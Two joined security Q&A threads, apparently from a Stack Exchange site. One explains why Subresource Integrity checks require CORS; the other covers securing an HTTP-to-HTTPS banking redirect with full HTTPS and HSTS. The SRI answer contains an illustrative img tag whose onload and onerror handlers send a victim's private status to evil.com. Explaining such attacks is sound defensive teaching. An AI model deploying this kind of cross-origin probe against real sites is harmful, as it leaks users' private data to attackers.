What attacks are mitigated by requiring CORS for subresource integrity verification? Can someone elaborate on the attacks alluded to in this paragraph from the W3C SubResource Integrity spec?

  In order to mitigate an attacker’s ability to read data cross-origin by brute-forcing values via integrity checks, responses are only eligible for such checks if they are same-origin or are the result of explicit access granted to the loading origin via Cross Origin Resource Sharing [CORS].

To me, it comes across as nonsensical because:

My reading of "read data cross-origin by brute-forcing values" suggests it's an attack against the server.
A non-browser user agent can always fetch from a server without CORS.
I don't see how adding hash verification presents a new threat that CORS mitigates when unverified cross-origin CSS and JavaScript retrieval predate CORS and must be supported for legacy compatibility.

On a more practical level, I ask because:

It feels as if user tracking via SRI Origin+IP has the potential to become a partial workaround for the growing ability to suppress (sites) or forge (browsers) Referer headers for protection against Referer+IP tracking (a reason I always self-host my subresources to avoid hypocrisy).
I'm wondering whether there would be any increased security risk to me if I were to complement my existing browser extensions like Decentraleyes with a more general solution based on requesting a CSS or JavaScript resource using the pre-CORS set of headers (paired with Referer forging), but then enforcing the provided hash anyway.

EDIT: While @Anders answered the rationale for using it with credentialed requests (ie. requests with session cookies or similar), that doesn't explain why crossorigin="anonymous" is acceptable for doing integrity checks on <script> and <link rel="stylesheet">, but omitting the crossorigin attribute altogether is not.

If the attack involves using onload or onerror to extract one bit of information based on whether the subresource matches a hash, then doing it with crossorigin="anonymous" is a class of attacks that are already possible for CSS and JavaScript subresources by setting an onload on an SRI-free subresource and then examining whether they have modified the DOM or its rendering.

The attack

I think the attack they are trying to protect against is the following.

Imagine santaclause.com serves an image at santaclause.com/naughty_or_nice.png to logged in users. The image is a green checkmark if the logged in user has been nice, and a red X if they have been naughty. Mallory wants to know if Alice has been nice or not. So on evil.com he sets up the following on a page and sends the link to Alice, who clicks it.

<img src="santaclause.com/naughty_or_nice.png"
     integrity="sha256-{hash of nice image}"
     onload="document.location='http://evil.com?log=nice';"
     onerror="document.location='http://evil.com?log=naughty';"
>

When Alice views the page, the browser will send her session cookies to santaclause.com, which will respond with the nice image if she has been nice. The onload event will fire, and Mallory logs that she has been nice on evil.com. On the other hand, if she has been naughty the integrity check will fail and Mallory therefore knows that Alice has been naughty.

Because of the spec, this attack will fail. Since santaclause.com has not "explicitly granted access to the loading origin via CORS" the browser will not make the integrity check, and load the image even if the hash is wrong, thereby always firing the onload event and never the onerror event.

Without this detail in the spec, an attacker would gain the ability to make cross origin requests with the victim's credentials and get answers to questions of the kind "Was this the response?". While not as bad as being able to just read the response, it still allows the attacker to brute force what the response is if it comes from a small enough set of possible values.

Why it is not nonsensical

  My reading of "read data cross-origin by brute-forcing values" suggests it's an attack against the server.

I'd say that the above is an attack on the user, not the server (even though the server is obviously involved).

  A non-browser user agent can always fetch from a server without CORS.

Yes, but how does Mallory fool Alice into following the link in a non browser user agent?

  I don't see how adding hash verification presents a new threat that CORS mitigates when unverified cross-origin CSS and JavaScript retrieval predate CORS and must be supported for legacy compatibility.

If you embed sensitive information in JS or CSS without CSRF protection you will expose it to cross origin attacks, yes. The specs have never pretended to protect against that.

However, they have claimed to protect against the same in images or JSON, and therefore must try to continue to do that even when new features are added.

  [...] that doesn't explain why crossorigin="anonymous" is acceptable for doing integrity checks on  and , but omitting the crossorigin attribute altogether is not.

As SilverlightFox points out in his answer, even anonymous requests can return sensitive information, e.g. if IP is used to return different content to different users. So sites should not be allowed to read the results of cross domain requests even if they do not contain any authentication headers.

  [...]then doing it with crossorigin="anonymous" is a class of attacks that are already possible for CSS and JavaScript subresources by setting an onload on an SRI-free subresource and then examining whether they have modified the DOM or its rendering.

Yes, a site can infer information about the content of cross origin requests for stylesheets and JavaScript (thats why JSONP works, by the way). This is well known, and the specs have never pretended to protect against it.

If you expand this to allowing integrity checks for anynomous cross origin request, you expand that ability to work for all sorts of resources - JSON, XML, images etc, and not just JS and CSS.

Why? Because to infer any information about the content of a JS file it needs to actually execute, so it needs to be JS. If you include e.g. an XML file in a script tag all you get is a syntax error. But you could easily include an XML file with a script tag, slap an integrity attribute to it, and then learn about its content by checking if it loads or not.


How secure is redirecting user from http://normal.bank.com to https://secure.bank.com? I have an application. Which works on http, http://normal.bank.com. But for log-in, performing any action, etc. I am rediecting user to https://secure.bank.com, where user can login and perform action. Is this is still vulnerable to MIM attack? What are the precautions?

Is this is still vulnerable to MIM attack?

Yes, it is, because you'd probably go with session-cookies that might be sniffed through a browser-plugin like firesheep or man-in-the-middle'd easily.

  What are the precautions?

Best practice nowadays is to have your whole application run over HTTPS because:

secure cookies don't work in a mixed environment
MITM-attacks do work in a mixed environment
ensuring the authenticity of your website to its users doesn't work in a mixed environment
no need to think about HTTP-resources in a HTTPS-page and ugly browser-alerts

To ensure HTTPS throughout the whole site:

create 2 virtualhost-configs, one for http: and one for https:
in your http config, use a redirect from http://site/resource to https://site/resource as the only pattern in this config, so if someone types in http://site/somepath it will always get redirected to the secure site
in your https config, use a HTST header to help ensure (browser-based) that your user visits your site always via HTTPS

Everything else, like login-page-encryption-only is out-of-date; search for "firesheep"